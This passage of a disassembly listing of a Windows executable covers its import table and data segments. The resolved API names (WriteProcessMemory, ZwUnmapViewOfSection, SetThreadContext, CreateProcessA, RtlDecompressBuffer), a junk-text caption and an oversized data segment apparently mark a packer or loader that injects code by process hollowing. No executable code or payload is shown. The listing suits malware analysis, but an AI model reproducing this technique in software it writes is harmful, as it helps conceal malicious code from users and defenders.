XREF: ___crtGetEnvironmentStringsA+113r ... ; LPCH __stdcall GetEnvironmentStrings() extrn GetEnvironmentStrings:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_4039ADp ; DATA XREF: ___crtGetEnvironmentStringsA:loc_4039ADr ... ; BOOL __stdcall FreeEnvironmentStringsW(LPWCH) extrn FreeEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+C1p ; DATA XREF: ___crtGetEnvironmentStringsA+C1r ... ; int __stdcall WideCharToMultiByte(UINT CodePage,DWORD dwFlags,LPCWSTR lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cbMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar) extrn WideCharToMultiByte:dword ; CODE XREF: ___crtGetEnvironmentStringsA+86p ; ___crtGetEnvironmentStringsA+A8p ... ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_403906p ; ___crtLCMapStringA:loc_40524Cp ... ; LPWCH __stdcall GetEnvironmentStringsW() extrn GetEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+1Cp ; ___crtGetEnvironmentStringsA+52p ; DATA XREF: ... ; UINT __stdcall SetHandleCount(UINT uNumber) extrn SetHandleCount:dword ; CODE XREF: __ioinit+19Cp ; DATA XREF: __ioinit+19Cr ... ; DWORD __stdcall GetFileType(HANDLE hFile) extrn GetFileType:dword ; CODE XREF: __ioinit+FEp ; __ioinit+165p ; DATA XREF: ... ; UINT __stdcall GetACP() extrn GetACP:dword ; CODE XREF: __setmbcp+42p ; DATA XREF: .text:00404725r ... ; UINT __stdcall GetOEMCP() extrn GetOEMCP:dword ; CODE XREF: __setmbcp+2Bp ; DATA XREF: .text:00404710r ... ; BOOL __stdcall GetCPInfo(UINT CodePage,LPCPINFO lpCPInfo) extrn GetCPInfo:dword ; CODE XREF: _setSBUpLow+1Cp ; __setmbcp+93p ... extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; LONG __stdcall InterlockedExchange(volatile LONG *Target,LONG Value) extrn InterlockedExchange:dword ; CODE XREF: __ValidateEH3RN+131p ; __ValidateEH3RN+196p ... ; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress,PMEMORY_BASIC_INFORMATION lpBuffer,SIZE_T dwLength) extrn VirtualQuery:dword ; CODE XREF: __ValidateEH3RN+B3p ; __resetstkoflw+1Ap ... ; SIZE_T __stdcall HeapSize(HANDLE hHeap,DWORD dwFlags,LPCVOID lpMem) extrn HeapSize:dword ; CODE XREF: __msize+30p ; DATA XREF: __msize+30r ... ; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount) extrn QueryPerformanceCounter:dword ; CODE XREF: ___security_init_cookie+43p ; DATA XREF: ___security_init_cookie+43r ... ; DWORD __stdcall GetTickCount() extrn GetTickCount:dword ; CODE XREF: ___security_init_cookie+37p ; DATA XREF: ___security_init_cookie+37r ... ; DWORD __stdcall GetCurrentThreadId() extrn GetCurrentThreadId:dword ; CODE XREF: ___security_init_cookie+2Fp ; DATA XREF: ___security_init_cookie+2Fr ... ; DWORD __stdcall GetCurrentProcessId() extrn GetCurrentProcessId:dword ; CODE XREF: ___security_init_cookie+27p ; DATA XREF: ___security_init_cookie+27r ... ; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime) extrn GetSystemTimeAsFileTime:dword ; CODE XREF: ___security_init_cookie+1Bp ; DATA XREF: ___security_init_cookie+1Br ... ; int __stdcall LCMapStringA(LCID Locale,DWORD dwMapFlags,LPCSTR lpSrcStr,int cchSrc,LPSTR lpDestStr,int cchDest) extrn LCMapStringA:dword ; CODE XREF: ___crtLCMapStringA+2C3p ; ___crtLCMapStringA+344p ... ; int __stdcall MultiByteToWideChar(UINT CodePage,DWORD dwFlags,LPCSTR lpMultiByteStr,int cbMultiByte,LPWSTR lpWideCharStr,int cchWideChar) extrn MultiByteToWideChar:dword ; CODE XREF: ___crtLCMapStringA+C0p ; ___crtLCMapStringA+141p ... ; int __stdcall LCMapStringW(LCID Locale,DWORD dwMapFlags,LPCWSTR lpSrcStr,int cchSrc,LPWSTR lpDestStr,int cchDest) extrn LCMapStringW:dword ; CODE XREF: ___crtLCMapStringA+27p ; ___crtLCMapStringA+15Bp ... ; BOOL __stdcall GetStringTypeA(LCID Locale,DWORD dwInfoType,LPCSTR lpSrcStr,int cchSrc,LPWORD lpCharType) extrn GetStringTypeA:dword ; CODE XREF: ___crtGetStringTypeA+19Cp ; DATA XREF: ___crtGetStringTypeA+19Cr ... ; BOOL __stdcall GetStringTypeW(DWORD dwInfoType,LPCWSTR lpSrcStr,int cchSrc,LPWORD lpCharType) extrn GetStringTypeW:dword ; CODE XREF: ___crtGetStringTypeA+24p ; ___crtGetStringTypeA+128p ; DATA XREF: ... ; int __stdcall GetLocaleInfoA(LCID Locale,LCTYPE LCType,LPSTR lpLCData,int cchData) extrn GetLocaleInfoA:dword ; CODE XREF: ___ansicp+20p ; DATA XREF: ___ansicp+20r ... ; BOOL __stdcall VirtualProtect(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) extrn VirtualProtect:dword ; CODE XREF: __resetstkoflw+D5p ; DATA XREF: __resetstkoflw+D5r ... ; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo) extrn GetSystemInfo:dword ; CODE XREF: __resetstkoflw+2Bp ; DATA XREF: __resetstkoflw+2Br ... ; ; Imports from USER32.dll ; ; int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType) extrn MessageBoxA:dword ; CODE XREF: sub_4015A2+169p ; DATA XREF: sub_4015A2+169r ... ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 406100h ; char aRtlgetcompress[] aRtlgetcompress db 'RtlGetCompressionWorkSpaceSize',0 ; DATA XREF: sub_401000+3Co align 10h ; char ProcName[] ProcName db 'RtlDecompressBuffer',0 ; DATA XREF: sub_401000+34o ; char LibFileName[] LibFileName db 'ntdll.dll',0 ; DATA XREF: sub_401000+1Co ; sub_405EFA+5o align 10h ; char Caption[] Caption db 'Fsd78f6sd6a78f6asd786 fas78d678 f6asd786f78as 78yfsda78 fasy7d86f' ; DATA XREF: sub_4015A2+160o db 'asd84f65asdftasdf78ynasdihfasdh fashdhgf asdgfuasdf asdf asdf asd' db 'g sgfdsfdg asfdhgjasdjgfasdyugfasudhlfhjfhasjdlhfuhsdaguhfasydgfy' db 'tasdgftasdf6asrd6ftras6tdtfytasdtgyufgasdfhgsdagfsdaghsgdgfasyudt' db 'fyusdatyfasd67tf78asdyufasdu',0 align 4 ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_4015A2+DBo ; WinMain(x,x,x,x)+7Eo ... align 4 ; char aWriteprocessme[] aWriteprocessme db 'WriteProcessMemory',0 ; DATA XREF: sub_4015A2+D6o ; sub_405F34o align 4 ; char aVirtualalloc[] aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: WinMain(x,x,x,x)+79o align 4 ; char aZwunmapviewofs[] aZwunmapviewofs db 'ZwUnmapViewOfSection',0 ; DATA XREF: sub_405EFAo align 10h ; char aSetthreadconte[] aSetthreadconte db 'SetThreadContext',0 ; DATA XREF: sub_405F17o align 8 ; const CHAR stru_4062C8 stru_4062C8 _msEH <0FFFFFFFFh, offset loc_401F5E, offset loc_401F72> ; DATA XREF: start+2o ; char aCorexitprocess[] aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo align 4 ; char aMscoree_dll[] aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o aRuntimeError db 'runtime error ',0 align 10h db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 8 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_408064o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o ; ___security_error_handler+132o align 10h ; char asc_4066C0[] asc_4066C0 db 0Ah ; DATA XREF: __NMSG_WRITE+107o ; ___security_error_handler+FCo db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o db 0Ah db 'Program: ',0 align 10h ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o ; ___security_error_handler+CCo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo ; ___security_error_handler+8Bo byte_4066FB db 0 ; DATA XREF: __wincmdln+1Bo align 10h stru_406700 _msEH <0FFFFFFFFh, offset loc_403BF3, offset loc_403BF7> ; DATA XREF: sub_403BC6+2o align 10h stru_406710 _msEH <0FFFFFFFFh, offset loc_403C37, offset loc_403C3B> ; DATA XREF: sub_403C0A+2o ; char aGetprocesswind[] aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o ; char aGetuserobjecti[] aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o align 10h ; char aGetlastactivep[] aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o align 4 ; char aGetactivewindo[] aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo ; char aMessageboxa[] aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo ; char aUser32_dll[] aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o align 10h stru_406790 _msEH <0FFFFFFFFh, offset sub_4045C8, offset sub_4045CC> ; DATA XREF: sub_4045DC-2Fo ; char aProgram[] aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o align 4 aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: ___security_error_handler+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: ___security_error_handler:loc_4050E4o align 8 aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: ___security_error_handler+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 ; char aUnknownSecurit[] aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: ___security_error_handler+47o align 10h stru_406940 _msEH <0FFFFFFFFh, offset loc_4050BF, offset loc_4050C3> ; DATA XREF: ___security_error_handler+5o dd 41h dup(0) asc_406A50: ; DATA XREF: .data:off_4082A0o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) db 2 dup(0) word_406C52 dw 20h ; DATA XREF: .data:off_4082A4o aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h) dd 1020010h, 3 dup(1020102h), 1010102h ; const WCHAR SrcStr SrcStr dw 0 ; DATA XREF: ___crtLCMapStringA+1Co ; ___crtGetStringTypeA+1Eo align 4 stru_406E58 _msEH <0FFFFFFFFh, offset loc_40550C, offset loc_405510> ; DATA XREF: ___crtLCMapStringA+2o dd 0FFFFFFFFh, 405309h, 40530Dh, 0FFFFFFFFh, 4053D7h, 4053DBh dd 0 stru_406E80 _msEH <0FFFFFFFFh, offset loc_4056A8, offset loc_4056AC> ; DATA XREF: ___crtGetStringTypeA+2o align 10h stru_406E90 _msEH <0FFFFFFFFh, offset loc_405905, offset loc_405909> ; DATA XREF: ___convertcp+2o align 10h dd 48h, 0Eh dup(0) dd offset dword_408190 dd offset dword_406EF0 dd 2, 2 dup(0) dword_406EF0 dd 3CA4h, 4B90h, 0dword_406EFC dd 2 dup(0) ; sub_403BC6:loc_403BD9o dword_406F04 dd 0 ; sub_403C0A:loc_403C1Do dd 6F44h, 2 dup(0) dd 747Ah, 6000h, 703Ch, 2 dup(0) dd 7496h, 60F8h, 5 dup(0) dd 7044h, 7052h, 7064h, 7074h, 7086h, 709Ah, 70AEh, 70C0h dd 70D4h, 70E8h, 70FAh, 710Ah, 7116h, 7124h, 7132h, 7148h dd 715Eh, 716Ah, 717Ch, 718Eh, 719Eh, 71ACh, 71BAh, 71C8h dd 71D4h, 71E4h, 71F2h, 7202h, 7210h, 7224h, 7238h, 7244h dd 7254h, 7270h, 728Ah, 72A2h, 72BCh, 72D2h, 72E2h, 72FCh dd 730Eh, 731Ch, 7326h, 7332h, 733Eh, 734Ah, 7360h, 7370h dd 737Ch, 7396h, 73A6h, 73BCh, 73D2h, 73ECh, 73FCh, 7412h dd 7422h, 7434h, 7446h, 7458h, 746Ah, 0 dd 7488h, 0 dd 724600EFh, 694C6565h, 72617262h, 1980079h, 50746547h dd 41636F72h, 65726464h, 7373h, 6F4C0248h, 694C6461h, 72617262h dd 4179h, 6956037Ch, 61757472h, 6575516Ch, 78457972h, 2AC0000h aReadprocessmem db 'ReadProcessMemory',0 dw 1CDh aGetthreadconte db 'GetThreadContext',0 align 2 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 10h dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Ah dd 61757472h, 6F72506Ch, 74636574h, 7845h, 69560374h, 61757472h dd 6C6C416Ch, 7845636Fh, 2C50000h, 75736552h, 6854656Dh dd 64616572h, 2A90000h, 64616552h, 656C6946h, 15B0000h dd 46746547h, 53656C69h, 657A69h, 7243004Dh, 65746165h dd 656C6946h, 30C0041h aSetfileattribu db 'SetFileAttributesA',0 align 4 db 75h ; u db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 206h aHeapalloc db 'HeapAlloc',0 dw 1AFh aGetstartupinfo db 'GetStartupInfoA',0 db 8 db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1DFh aGetversionexa db 'GetVersionExA',0 dw 20Ah aHeapdestroy db 'HeapDestroy',0 db 8 db 2, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 376h aVirtualfree db 'VirtualFree',0 db 0Ch db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 73h ; s db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 10h db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 22Ch aIsbadwriteptr db 'IsBadWritePtr',0 aP db '¯',0 aExitprocess db 'ExitProcess',0 db 4Fh ; O db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 4 db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 94h ; ” db 3, 57h, 72h aItefile db 'iteFile',0 db 0B1h ; ± db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 60h ; ` db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 10h aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 14Dh aGetenvironment db 'GetEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 87h ; ‡ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 169h aGetlasterror db 'GetLastError',0 align 2 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h dd 46746547h, 54656C69h, 657079h, 654700F5h, 50434174h dd 18B0000h, 4F746547h, 50434D45h, 0FC0000h, 43746547h dd 666E4950h, 2CA006Fh, 556C7452h, 6E69776Eh, 21F0064h aInterlockedexc db 'InterlockedExchange',0 db 7Bh ; { db 3, 56h, 69h aRtualquery db 'rtualQuery',0 align 10h db 12h db 2, 48h, 65h aApsize db 'apSize',0 align 4 db 97h ; — db 2, 51h, 75h aEryperformance db 'eryPerformanceCounter',0 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 13Eh aGetcurrentthre db 'GetCurrentThreadId',0 align 4 db 3Bh ; ; db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcessId',0 dw 1C0h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 db 3Ah ; : db 2, 4Ch, 43h aMapstringa db 'MapStringA',0 align 4 db 6Bh ; k db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 23Bh aLcmapstringw db 'LCMapStringW',0 align 2 dw 1B2h aGetstringtypea db 'GetStringTypeA',0 align 4 dd 654701B5h, 72745374h, 54676E69h, 57657079h, 16C0000h dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 69560379h, 61757472h dd 6F72506Ch, 74636574h, 1BB0000h, 53746547h, 65747379h dd 666E496Dh, 454B006Fh, 4C454E52h, 642E3233h, 6C6Ch, 654D01DEh dd 67617373h, 786F4265h, 53550041h, 32335245h, 6C6C642Eh dd 58h dup(0) _rdata ends ; Section 3. (virtual address 00008000) ; Virtual size : 000328A0 ( 207008.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00006A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 408000h dword_408000 dd 0 dd offset ___security_init_cookie dd offset sub_405EFA dd offset sub_405F17 dd offset sub_405F34 dword_408014 dd 0 dword_408018 dd 0 dd offset ___onexitinit dd offset ___initmbctable dword_408024 dd 0 dword_408028 dd 0 dword_40802C dd 0 dword_408030 dd 0 dword_408034 dd 3 dup(0) dword_408040 dd 6E00h ; sub_4010AD+A9r ... align 10h off_408050 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_408054 dd 2 ; __FF_MSGBANNER+Er dd 10h, 0 dword_408060 dd 2 ; __NMSG_WRITE+3Ar ... off_408064 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r ; __NMSG_WRITE+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 406644h, 9, 406618h, 0Ah, 406580h, 10h, 406554h dd 11h, 406524h, 12h, 406500h, 13h, 4064D4h, 18h, 40649Ch dd 19h, 406474h, 1Ah, 40643Ch, 1Bh, 406404h, 1Ch, 4063DCh dd 1Dh, 406338h, 78h, 406324h, 79h, 406314h, 7Ah, 406304h dd 0FCh, 406300h, 0FFh, 4062F0h dword_4080F8 dd 0C0000005h, 0Bh, 0 ; __XcptFilter+Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_408170 dd 3 dword_408174 dd 7 dword_408178 dd 0Ah ; __XcptFilter+6r dword_40817C dd 8Ch ; __XcptFilter+BAw ... dd 0FFFFFFFFh, 0A80h, 2 dup(0) dword_408190 dd 0BB40E64Eh ; sub_4045DCr ... align 8 byte_408198 db 1 ; DATA XREF: __setmbcp+120r db 2, 4, 8 align 10h dword_4081A0 dd 3A4h dword_4081A4 dd 82798260h dd 21h, 0 dword_4081B0 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_408290 dd 19930520h, 3 dup(0) ; __NLG_Notify+2o off_4082A0 dd offset asc_406A50 ; DATA XREF: _x_ismbbtype+18r ; .text:004051F1r ... ; " ((((( H" off_4082A4 dd offset word_406C52 ; DATA XREF: .text:004051EBr dd 1, 0 dword_4082B0 dd 1 dd 2Eh, 1, 0 byte_4082C0 db 0 ; DATA XREF: sub_4010AD+49w ; sub_401313+2Ew ... align 4 dword_4082C4 dd 0 ; sub_4010AD+Er ... ; HANDLE hFile hFile dd 0 ; DATA XREF: sub_40172C+24w ; sub_40172C+4Dr byte_4082CC db 0 ; DATA XREF: sub_4010AD+1Bw ; sub_4010AD+43w ... align 10h ; HANDLE hThread hThread dd 0 ; DATA XREF: sub_4015A2+14Ew ; sub_401718r dd 2 dup(0) dword_4082DC dd 0 byte_4082E0 db 0 ; DATA XREF: sub_4010AD+2Bw ; sub_4010AD+34w ... align 8 byte_4082E8 db 0 ; DATA XREF: sub_401088+17w ; sub_4010AD+85o ... dword_4082E9 dd 0 ; sub_4010AD+CCr ... align 10h dd 4 dup(0) byte_408300 db 0 ; DATA XREF: sub_4010AD+BDw align 4 dd 9 dup(0) byte_408328 db 0 ; DATA XREF: sub_4010AD+62w align 4 dd 27h dup(0) byte_4083C8 db 0 ; DATA XREF: sub_4010AD+11Bw align 4 dd 0Dh dup(0) dd 0C7BAh dup(?) dword_43A2E8 dd ? dword_43A2EC dd ? ; WinMain(x,x,x,x)+132r byte_43A2F0 db ? ; DATA XREF: sub_401718+6w ; WinMain(x,x,x,x)+143w align 4 ; DWORD nNumberOfBytesToRead nNumberOfBytesToRead dd ? ; DATA XREF: sub_4010AD+25r ; sub_40172C+2Fw ... dword_43A2F8 dd ? ; sub_4015A2+74w ... dword_43A2FC dd ? ; resolved to->KERNEL32.WriteProcessMemory ; sub_405F34+17w dword_43A300 dd ? ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_405EFA+17w dword_43A304 dd ? ; resolved to->KERNEL32.SetThreadContext ; sub_405F17+17w ; char *dword_43A308 dword_43A308 dd ? ; __setenvp:loc_403613r ... align 10h dword_43A310 dd ? ; .text:_fast_error_exitr ... dword_43A314 dd ? ; .text:0040300Ew ... ; int dword_43A318 dword_43A318 dd ? ; _realloc:loc_404F90r ... dd 3 dup(?) dword_43A328 dd ? dword_43A32C dd ? dword_43A330 dd ? dword_43A334 dd ? ; ___heap_select+9r ... dword_43A338 dd ? dword_43A33C dd ? dword_43A340 dd ? align 8 ; void *dword_43A348 dword_43A348 dd ? ; __setenvp:loc_4036B2r ... dd 3 dup(?) dword_43A358 dd ? align 10h byte_43A360 db ? ; DATA XREF: _doexit+2Dw align 4 dword_43A364 dd ? dword_43A368 dd ? dword_43A36C dd ? dword_43A370 dd ? ; __XcptFilter+73w ... align 8 ; char Filename[] Filename db 104h dup(?) ; DATA XREF: __setargv+1Co byte_43A47C db ? ; DATA XREF: __setargv+23w align 10h dword_43A480 dd ? ; ___crtGetEnvironmentStringsA+24w ... dword_43A484 dd ? ; ___crtMessageBoxA+38w ... dword_43A488 dd ? ; ___crtMessageBoxA:loc_4042AEr dword_43A48C dd ? ; ___crtMessageBoxA+D6r dword_43A490 dd ? ; ___crtMessageBoxA:loc_404269r dword_43A494 dd ? ; ___crtMessageBoxA+9Cr dword_43A498 dd ? ; .text:00404706w ... align 10h dword_43A4A0 dd ? ; __ValidateEH3RN+13Fr ... align 8 dword_43A4A8 dd ? ; __ValidateEH3RN+1C4r ... dd 0Fh dup(?) ; volatile LONG Target Target dd ? ; DATA XREF: __ValidateEH3RN+12Co ; __ValidateEH3RN+191o ... dword_43A4EC dd ? ; .text:004051DFr ... dd 2 dup(?) ; LCID dword_43A4F8 dword_43A4F8 dd ? ; ___crtGetStringTypeA+14Ar ... dd 3 dup(?) ; UINT dword_43A508 dword_43A508 dd ? ; __setmbcp+4Fr ... align 10h dword_43A510 dd ? ; ___crtLCMapStringA+31w ... dword_43A514 dd ? ; ___crtGetStringTypeA+2Ew ... ; LCID Locale Locale dd ? ; DATA XREF: _setSBCS+1Aw ; _setSBUpLow+84r ... dword_43A51C dd ? ; __setmbcp+14Dw ... byte_43A520 db ? ; DATA XREF: _setSBCS+6o __setmbcp+A7o ... byte_43A521 db ? ; DATA XREF: _parse_cmdline+47r ; _parse_cmdline+11Dr ... align 4 dd 40h dup(?) ; UINT CodePage CodePage dd ? ; DATA XREF: __ismbbkanar _setSBCS+10w ... align 10h dword_43A630 dd 4 dup(?) ; __setmbcp+162o ... byte_43A640 db ? ; DATA XREF: _setSBUpLow:loc_4048AAw ; _setSBUpLow:loc_4048C7w ... align 4 dd 3Fh dup(?) ; UINT uNumber uNumber dd ? ; DATA XREF: __ioinit+1Fw ; __ioinit:loc_403A81r ... dd 7 dup(?) dword_43A760 dd ? ; __ioinit+3Cr ... dword_43A764 dd 3Fh dup(?) dword_43A860 dd ? ; .text:00403BBCo dword_43A864 dd ? ; _doexit:loc_403158r ... ; void *dword_43A868 dword_43A868 dd ? dword_43A86C dd ? ; __setenvp+3r ... dword_43A870 dd ? align 8 ; void *dword_43A878 dword_43A878 dd ? ; ___sbh_free_block+21Cr ... dword_43A87C dd ? ; .text:00402059r ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: .text:0040201Fr ; .text:loc_402063r ... dword_43A884 dd ? ; __get_sbh_threshold+Er ... dword_43A888 dd ? ; ___sbh_free_block+300w ... dword_43A88C dd ? ; ___sbh_alloc_new_region+5r ... dword_43A890 dd ? ; ___sbh_free_block+249r ... ; HANDLE hHeap hHeap dd ? ; DATA XREF: __heap_alloc+38r ; __heap_init+19w ... dword_43A898 dd ? ; __heap_alloc:loc_401967r ... dword_43A89C dd ? ; __wincmdln:loc_4035B5r ... _data ends end start